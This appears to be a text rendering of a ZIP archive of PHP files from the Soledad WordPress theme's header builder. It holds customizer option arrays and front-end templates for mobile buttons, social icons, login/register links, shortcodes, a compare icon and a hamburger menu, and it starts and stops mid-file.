	'id'        => 'penci_header_pb_button_mobile_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	
	'label'     => __( 'Borders Color', 'soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Button Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_mobile_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_mobile_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     =>  'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     /w\g_  _  4  builder/elements/pb_social_icon_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$classes   = [];
$classes[] = 'social-icon-style penci-social-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_style', 'default' );
$classes[] = 'penci-social-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_color', 'normal' );
?>
<div class="header-social penci-builder-element mobile-social">
    <div class="inner-header-social <?php echo implode( ' ', $classes ); ?>">
		<?php
		$dataref     = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_penci_rel_type_social' ) ? penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_penci_rel_type_social' ) : 'noreferrer';
		$data_return = str_replace( '_', ' ', $dataref );
		if ( 'none' != $data_return ) {
			$rel = ' rel="' . $data_return . '"';
		} else {
			$rel = '';
		}


		$social_data = penci_social_media_array();
		foreach ( $social_data as $name => $sdata ) {
			if ( $sdata[0] ) {
				$icon_html = penci_icon_by_ver( $sdata[1] );
				?>
                <a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                   aria-label="<?php echo ucwords( $name ); ?>" <?php echo $rel; ?>
                   target="_blank"><?php echo $icon_html; ?></a>
				<?php
			}
		}
		?>
    </div>
</div>
PK     /w\2-    3  builder/elements/pb_social_icon_mobile/settings.phpnu [        <?php 

$social_icon_section         = 'penci_header_pb_social_icon_mobile_section';
$general_config              = 'penci_builder_mods';
$query                       = [];
$query['autofocus[section]'] = 'pencidesign_new_section_social';
$options                     = [];
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Social Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Social Icon Width','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Spacing Between Item','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_style',
	'default'   => 'simple',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Style','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'simple' => __('Simple','soledad' ),
		'square' => __('Square','soledad' ),
		'circle' => __('Circle','soledad' ),
	)
);
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_color',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Color','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'textaccent'  => __('Custom Color','soledad' ),
		'textcolored' => __('Brand Text Color','soledad' ),
		'colored'     => __('Brand Background Color','soledad' ),
	)
);
$options[]                   = array(
	'id'        => $social_icon_section . '_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_penci_rel_type_social',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Social Media & Social Share Icons','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[]                   = array(
	'id'        => $social_icon_section . '_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Background Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_bg_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Background Hover Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_border_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_border_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Hover Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Hover Color','soledad' ),
	
);

return $options;PK     /w\,q_	  	  7  builder/elements/pb_login_register_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
echo '<div class="pc-header-element penci-topbar-social-mobile pc-login-register-mobile"><ul class="pctopbar-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$parent_slug = get_theme_mod( 'penci_frontend_submit_account_slug', 'account' );

	$logged_in_array['profile'] = array(
		'icon' => 'far fa-user-circle',
		'link' => esc_url( home_url( '/' ) . $parent_slug . '/' . get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ) ),
		'text' => penci_get_setting( 'penci_trans_profile_text' ),
	);

	$logged_in_array = apply_filters( 'penci_logged_in_items', $logged_in_array );

	$logged_in_array['logout'] = array(
		'icon' => 'fa-sign-out',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();


	$link_login = get_author_posts_url(  get_current_user_id() );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}


	$avatar_html = get_avatar( get_current_user_id(), '22' );

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$custom_text = '';
	if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_tblogin_text' ) ) {
		$custom_text = '<span>' . penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_tblogin_text' ) . '</span>';
	}

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . $custom_text . '</a></li>';
}

echo '</ul></div>';

add_filter( 'theme_mod_penci_tblogin', function () {
	return true;
} );
PK     /w\4y+  +  6  builder/elements/pb_login_register_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_login_register_mobile_penci_tblogin_text',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'sanitize_text_field',
	'label'           => __('Add Login Text','soledad' ),
	'description'     => __( 'Text beside the icon, leave it empty to disable', 'soledad' ),
	'type'            => 'soledad-fw-text',
	'partial_refresh' => [
		'penci_header_pb_login_register_mobile_penci_tblogin_text' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_penci_font_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font for Login Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_penci_fontw_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Login Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => __('','soledad' ),
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_text_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Uppercase Text ?','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_dropdown_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_dropdown_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size for Icon','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_mobile_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Text','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_mobile_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\@    -  builder/elements/pb_shortcode_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_2_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_2_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes-2 <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     /w\7y    ,  builder/elements/pb_shortcode_2/settings.phpnu [        <?php 

$options = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_2_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority' => 10,
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices' => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_2_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      =>  'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     /w\p^(    .  builder/elements/pb_compare_icon/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );
if ( $compare_page_id ):
	?>
    <div id="top-header-compare"
         class="top-search-classes penci-builder-elements pcheader-icon compare-icon">
        <a href="<?php echo esc_url( get_page_link( $compare_page_id ) ); ?>"
           class="pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_compare_icon_section_btnstyle','customize' ); ?> compare-contents"
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcompare' ); ?>">

            <i class="penciicon-exchange-2"></i>
            <span><?php do_action( 'penci_current_compare' ); ?></span>
        </a>
    </div>
<?php 
endif;
PK     /w\1'    -  builder/elements/pb_compare_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_btnstyle',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Cart Icon Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bd_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bdh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bgh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_item_count_txt',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_item_count_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_compare_icon_section_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     /w\q+    0  builder/elements/pb_hamburger_menu/front-end.phpnu [        <?php
$header_data = $args['header_data'];
?>
    <div class="pc-builder-element penci-menuhbg-wapper penci-menu-toggle-wapper">
        <a href="#" aria-label="Open Menu"
           class="penci-menuhbg-toggle builder pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_hamburger_menu_btn_style', 'customize' ); ?>">
		<span class="penci-menuhbg-inner">
			<i class="lines-button lines-button-double">
				<i class="penci-lines"></i>
			</i>
			<i class="lines-button lines-button-double penci-hover-effect">
				<i class="penci-lines"></i>
			</i>
		</span>
        </a>
    </div>
<?php
add_filter( 'theme_mod_penci_menu_hbg_show', function () {
	return true;
} );
PK     /w\$  $  /  builder/elements/pb_hamburger_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'       => 'penci_header_pb_hamburger_menu_desc',
	'type'     => 'soledad-fw-alert',
	'label'    => __('You can go to "Appearance > Customize > Vertical Navigation & Menu Hamburger" to adjust the sidebar hamburger.','soledad' ),
	'sanitize' => 'penci_sanitize_choices_field',
	'default'  => 'notice-bg'
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Hamburger Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Custom Size','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_hamburger_menu_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_btnbstyle',
	'default'   => 'none',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Borders Color', 'soledad' ),
);
$options[] = array(
